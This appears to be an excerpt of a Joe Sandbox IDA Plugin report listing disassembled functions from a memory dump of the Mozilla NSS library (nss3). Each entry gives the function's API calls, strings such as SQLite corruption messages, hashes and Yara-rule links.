Part of subcall function 6D0052C0: EnterCriticalSection.KERNEL32(?), ref: 6D0052F3
Part of subcall function 6D0052C0: PR_Unlock.NSS3(?), ref: 6D005358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6D0011D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6D0011F3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: ac57903bd247ab53016e2f2450622dda3b13b1f2a1de07a1c5daf24558703266
Instruction ID: 733ab53ffb343c13fcc6f74bfa7229c23e3be105a0c6bdfca7f596f2e14f18b5
Opcode Fuzzy Hash: ac57903bd247ab53016e2f2450622dda3b13b1f2a1de07a1c5daf24558703266
Instruction Fuzzy Hash: C66172B4D04346ABFB04CFA4DC45BAEBBB5BF04348F158128E959AB341EB71E944CB52

Function 6D00ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AE10
EnterCriticalSection.KERNEL32(?,?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CFED079,00000000,00000001), ref: 6D00AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AE7F
TlsGetValue.KERNEL32(?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AEF1
free.MOZGLUE(6CFECDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFECDBB,?), ref: 6D00AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CFECDBB,?,6CFED079,00000000,00000001), ref: 6D00AF30

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 24a838dac791066dd4a7041958f81c5d194978b63046d265665301609c2d7664
Instruction ID: 76d96d5661ab847838fee109798f5f7315b94b072321853ffee32534df0eac33
Opcode Fuzzy Hash: 24a838dac791066dd4a7041958f81c5d194978b63046d265665301609c2d7664
Instruction Fuzzy Hash: C9518BB5900602BFFB01DF25D885B6AB7B4FF08314F204265EA1897A11E772F8A4CBD1

Function 6CFE4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFEAB7F,?,00000000,?), ref: 6CFE4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CFEAB7F,?,00000000,?), ref: 6CFE4CC8
TlsGetValue.KERNEL32(?,6CFEAB7F,?,00000000,?), ref: 6CFE4CE0
EnterCriticalSection.KERNEL32(?,?,6CFEAB7F,?,00000000,?), ref: 6CFE4CF4
PL_HashTableLookup.NSS3(?,?,?,6CFEAB7F,?,00000000,?), ref: 6CFE4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CFE4D10

Part of subcall function 6D06DD70: TlsGetValue.KERNEL32 ref: 6D06DD8C
Part of subcall function 6D06DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CFE4D26

Part of subcall function 6D089DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0D0A27), ref: 6D089DC6
Part of subcall function 6D089DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0D0A27), ref: 6D089DD1
Part of subcall function 6D089DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D089DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CFE4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CFE4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CFE4E02

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 2401bb43a662971f6c11e48dc81d296a51de59d988fa61dedc34a884ffc15fe5
Instruction ID: db8ccc875eb6bb8ba18cf8a1116144f68ce73cc2d1a385dcdf9dd75f1ec7b7dd
Opcode Fuzzy Hash: 2401bb43a662971f6c11e48dc81d296a51de59d988fa61dedc34a884ffc15fe5
Instruction Fuzzy Hash: 3441B5B6D00205ABEB119FA5EC40B967BB9FF09258F094174ED18C7712EF31E964C7A1

Function 6CFCBFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFCBFFB

Part of subcall function 6D020FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
Part of subcall function 6D020FF0: PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016
Part of subcall function 6D020FF0: PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CFCC015

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CFCC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CFCC04D

Part of subcall function 6D0169E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6D016A47
Part of subcall function 6D0169E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6D016A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CFCC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CFCC07B

Part of subcall function 6CFC8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CFC7310), ref: 6CFC89B8
Part of subcall function 6CFC8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CFC7310), ref: 6CFC89E6
Part of subcall function 6CFC8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CFC8A00
Part of subcall function 6CFC8980: CERT_CopyRDN.NSS3(00000004,00000000,6CFC7310,?,?,00000004,?), ref: 6CFC8A1B
Part of subcall function 6CFC8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CFC8A74

Part of subcall function 6CFC1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CFCC097,00000000,000000B0,?), ref: 6CFC1D2C
Part of subcall function 6CFC1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CFCC09B,00000000,00000000,00000000,?,6CFCC097,00000000,000000B0,?), ref: 6CFC1D3F
Part of subcall function 6CFC1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CFCC087,00000000,000000B0,?), ref: 6CFC1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CFCC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CFCC0C9

Part of subcall function 6CFD2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CFCC0D2,6CFCC0CE,00000000,-000000D4,?), ref: 6CFD2DF5
Part of subcall function 6CFD2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CFCC0CE,00000000,-000000D4,?), ref: 6CFD2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CFCC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFCC0E3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 0910c3951a9e7a6eea75fa5e6ccb3ee392befc2b3ad9191b1d55f89d477367b3
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 682156F678420667FB005A61AC81FBB366C9B5175CF084134FE04DA646FB66D91983B3

Function 6CFC2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CFC2CDA,?,00000000), ref: 6CFC2E1E

Part of subcall function 6D01FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CFC9003,?), ref: 6D01FD91
Part of subcall function 6D01FD80: PORT_Alloc_Util.NSS3(A4686D02,?), ref: 6D01FDA2
Part of subcall function 6D01FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686D02,?,?), ref: 6D01FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CFC2E33

Part of subcall function 6D01FD80: free.MOZGLUE(00000000,?,?), ref: 6D01FDD1

TlsGetValue.KERNEL32 ref: 6CFC2E4E
EnterCriticalSection.KERNEL32(?), ref: 6CFC2E5E
PL_HashTableLookup.NSS3(?), ref: 6CFC2E71
PL_HashTableRemove.NSS3(?), ref: 6CFC2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CFC2E96
PR_Unlock.NSS3 ref: 6CFC2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFC2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFC2EC5

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 4c2f569b18e9daacccb7c6c532f19bf212d47f11abff811ffe532ab7ccf7150e
Instruction ID: 84e57db9fa0e1583858cbb16fb3d2c6866a4c01c328bb44ab318e57ce04cd5e2
Opcode Fuzzy Hash: 4c2f569b18e9daacccb7c6c532f19bf212d47f11abff811ffe532ab7ccf7150e
Instruction Fuzzy Hash: 33210776E04102A7EF101B65EC05FDF3A79EB4234DF150030ED1892211FB73C598C6A6

Function 6CFAFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CFAFD18
sqlite3_initialize.NSS3 ref: 6CFAFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CFAFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CFAFD99
sqlite3_free.NSS3(00000000), ref: 6CFAFE3C
sqlite3_free.NSS3(?), ref: 6CFAFEE3
sqlite3_free.NSS3(?), ref: 6CFAFEEE

Strings

simple, xrefs: 6CFAFC79

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 3711e680ec63f6fce0baacc48722048df2e00a4e2671e62c382227854b083eb6
Instruction ID: cdc9349933fefa17cd998bfefb3321d32f18a9284aa7bb37b746ba9f404dbb52
Opcode Fuzzy Hash: 3711e680ec63f6fce0baacc48722048df2e00a4e2671e62c382227854b083eb6
Instruction Fuzzy Hash: 4A914BB1A01205DFDB44CF95C880BAAF7B1FF85318F258168D819AF752E731E942CBA0

Function 6CFB5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CFB5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFB5EED

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFB5ED1
%s at line %d of [%.10s], xrefs: 6CFB5EE0
invalid, xrefs: 6CFB5EBE
misuse, xrefs: 6CFB5EDB
API call with %s database connection pointer, xrefs: 6CFB5EC3
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CFB5E64

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 36eb2350a937084728896cb430ae888abfaa18497676490e030658507b31a327
Instruction ID: 83e41c0268ec2921325b7dbfcb8b30aa78978089faefda26b8feec6e74bc7d0a
Opcode Fuzzy Hash: 36eb2350a937084728896cb430ae888abfaa18497676490e030658507b31a327
Instruction Fuzzy Hash: 8481D231B096119BEB19CF66D848BAAB770BF4930CF284359D8157BB51D738E842CBD1

Function 6CF9DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF9DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF9DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF9DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF9DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF9DF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF9DE52, 6CF9DE81
%s at line %d of [%.10s], xrefs: 6CF9DE61, 6CF9DE90
database corruption, xrefs: 6CF9DE5C, 6CF9DE8B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 513244ba8448e5591f6bfd6a436403bf94701a7f826a53347402b758dcf557bd
Instruction ID: df2b8d415c2ea6ab79bbccad130e1fc0ea342f88f12cfa7f1d6715da5a82599c
Opcode Fuzzy Hash: 513244ba8448e5591f6bfd6a436403bf94701a7f826a53347402b758dcf557bd
Instruction Fuzzy Hash: 8B81A8716043019FEB14DF25C480B6B77F1BF45308F25882EF99A8BAA2E731E945CB52

Function 6CF4CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CF4B999), ref: 6CF4CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CF4B999), ref: 6CF4D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CF4B999), ref: 6CF4D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CF4B999), ref: 6D09972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF4CFDD, 6CF4D00E, 6CF4D022, 6CF4D033, 6D099780
%s at line %d of [%.10s], xrefs: 6CF4CFEC, 6CF4D018, 6CF4D029, 6CF4D03F, 6D09978B
database corruption, xrefs: 6CF4CFE7, 6CF4D013, 6CF4D028, 6CF4D039, 6CF4D03E, 6D099786

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: ae51ab481624500231ab74449eaf971a949e8e0e6d80c78984aa0208ffc61ed8
Instruction ID: 81256c10dfd95c76178993aebbc9e432b1ff4f0139b57fc1b5c45fc97ff5f9fa
Opcode Fuzzy Hash: ae51ab481624500231ab74449eaf971a949e8e0e6d80c78984aa0208ffc61ed8
Instruction Fuzzy Hash: A8611571A042108BE310CF29D840BA7BBF5AF55318F28916EE5489F782D776D947C7A1

Function 6D04FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6D055B40: PR_GetIdentitiesLayer.NSS3 ref: 6D055B56

PK11_FreeSymKey.NSS3(00000000), ref: 6D050113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D050130
PORT_Alloc_Util.NSS3(00000040), ref: 6D05015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6D0501AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6D050202
free.MOZGLUE(?), ref: 6D050224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D050253

Strings

exporter, xrefs: 6D0500F7

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: ca1b2dbe2ae46e074745e791141df5ec90c225bacd82fa82fb2af8106658ae0a
Instruction ID: 6d97b44aa62122f9d9a4584d8672b1387fd1f861211139cbb8f5e2b5ef19e72f
Opcode Fuzzy Hash: ca1b2dbe2ae46e074745e791141df5ec90c225bacd82fa82fb2af8106658ae0a
Instruction Fuzzy Hash: 6561FE7190870A9BFF118FA6CE00BEE77E6BF4430CF454528EE195B161EB31A960CB56

Function 6D04EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6D06A4A1,?,00000000,?,00000001), ref: 6D04EF6D

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

htonl.WSOCK32(00000000,?,6D06A4A1,?,00000000,?,00000001), ref: 6D04EFE4
htonl.WSOCK32(?,00000000,?,6D06A4A1,?,00000000,?,00000001), ref: 6D04EFF1
memcpy.VCRUNTIME140(?,?,6D06A4A1,?,00000000,?,6D06A4A1,?,00000000,?,00000001), ref: 6D04F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6D06A4A1,?,00000000,?,00000001), ref: 6D04F027

Strings

dtls13, xrefs: 6D04EF33

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 1a484e2d2dc8abc26d2b98cc3218cbbff3d505704e7706c16b39c27c517d9f67
Instruction ID: 8dc309b0dc0384e67e8fc3105f765974a504303289a88bb7dab4e3fc4ef6ad6f
Opcode Fuzzy Hash: 1a484e2d2dc8abc26d2b98cc3218cbbff3d505704e7706c16b39c27c517d9f67
Instruction Fuzzy Hash: 74319F71A04215EBE710DF69DC80B9AB7E4AF49358F168029ED18DB251E731E911CBE1

